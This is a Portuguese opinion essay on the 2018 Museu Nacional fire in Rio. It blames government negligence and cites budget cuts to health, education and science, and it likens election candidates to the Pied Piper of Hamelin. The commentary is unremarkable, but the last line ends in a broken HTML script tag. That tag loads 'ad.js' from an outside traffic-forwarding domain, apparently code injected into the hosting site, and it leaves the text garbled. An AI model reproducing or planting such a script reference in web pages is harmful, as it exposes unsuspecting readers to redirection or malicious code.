Análise Sociológica e contemporânea do Brasil
Por: Erick Lins Schneider
Ministro Eclesiástico – Igreja do Evangelho Quadrangular
Bacharelando em Direito UNC-Canoinhas
Um incêndio por volta das 19h30 deste domingo, 2 de setembro de 2018, destruiu o Museu Nacional, no Rio, e com ele parte da história de 200 anos do país. Vítima da negligência dos órgãos públicos de competência, somada a falta de recursos Federais aplicados demonstra a total incompetência do Estado quanto à ordem e manutenção da República Federativa Brasileira em todos os pilares da sociedade.
Desde 1822, ano da Independência do Brasil, a ser completado no próximo dia 7 de setembro 196 anos independentes da colonização Portuguesa, passando também pelas comemorações desde 15 de novembro de 1889 data de proclamação da república ao aniversário de 30 anos da constituição de 22 de Setembro de 1988, notamos que o trágico incêndio do Museu Nacional do Rio de Janeiro revela a fragilidade de uma nação que vive uma das piores recessões econômicas de sua existência, há 518 anos.
A incompetência dos gestores públicos, chefes dos executivos em suas três esferas, Ministros em que seus currículos partidários são mais importantes que serem realmente técnicos nas áreas onde são lançados para darem manutenção nas suas bases partidárias. Não para efetivamente desenvolver políticas públicas relevantes para a sociedade, mas, como trata-se de um Estado democrático de direito, isso significa em linhas gerais que o povo elege por meio do voto direto seus representantes legais, assim sendo, quando um povo não tem conhecimento sócio-político, educação e participação direta e diária na maneira de ser uma nação, esta será manipulada por opiniões rasas e infundadas que continuamente encaminha para um caos social.
Em 2018 está sendo gasto três vezes mais com juros da dívida pública do que com Saúde e Educação; só de renúncia fiscal, serão R$ 283 bilhões, número maior do que a despesa prevista para as áreas de Saúde, Educação e Ciência e Tecnologia (R$ 250 bilhões) no orçamento; algumas áreas sofreram cortes que podem comprometer a continuidade de projetos, como o Fundo Nacional de Assistência Social, que teve perdas calculadas em 97% em seu orçamento; no planejamento do governo em 2018, o orçamento previsto é de apenas R$ 5 bilhões para universidades e na área de Ciência e Tecnologia, a redução é de R$ 2 bilhões em relação ao ano passado.
Na obra “O Flautista de Hamelin”, a cidade Hamelin, certa vez sofreu com uma invasão de ratos, chega ali um homem com uma flauta mágica o mesmo cobrando uma quantia financeira, disse ser capaz de levar para longe toda ratazana solucionando o problema. Isto acordado com o rei da cidade o flautista cumpriu a sua parte, quando cobrou o valor do serviço prestado foi trapaceado e vingou-se tocando seu instrumento, encantando todas as crianças da cidade de Hamelin levando-os para longe de sua família
Estamos neste período de caos em toda república brasileira e vários flautistas candidatos se apresentam com a solução para os problemas brasileiros, cabe a cada um o salvo juízo para decidir de forma equilibrada e sábia os problemas da nação em vez de ser todos seduzidos pelos Flautistas de Hamelin de plantão…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>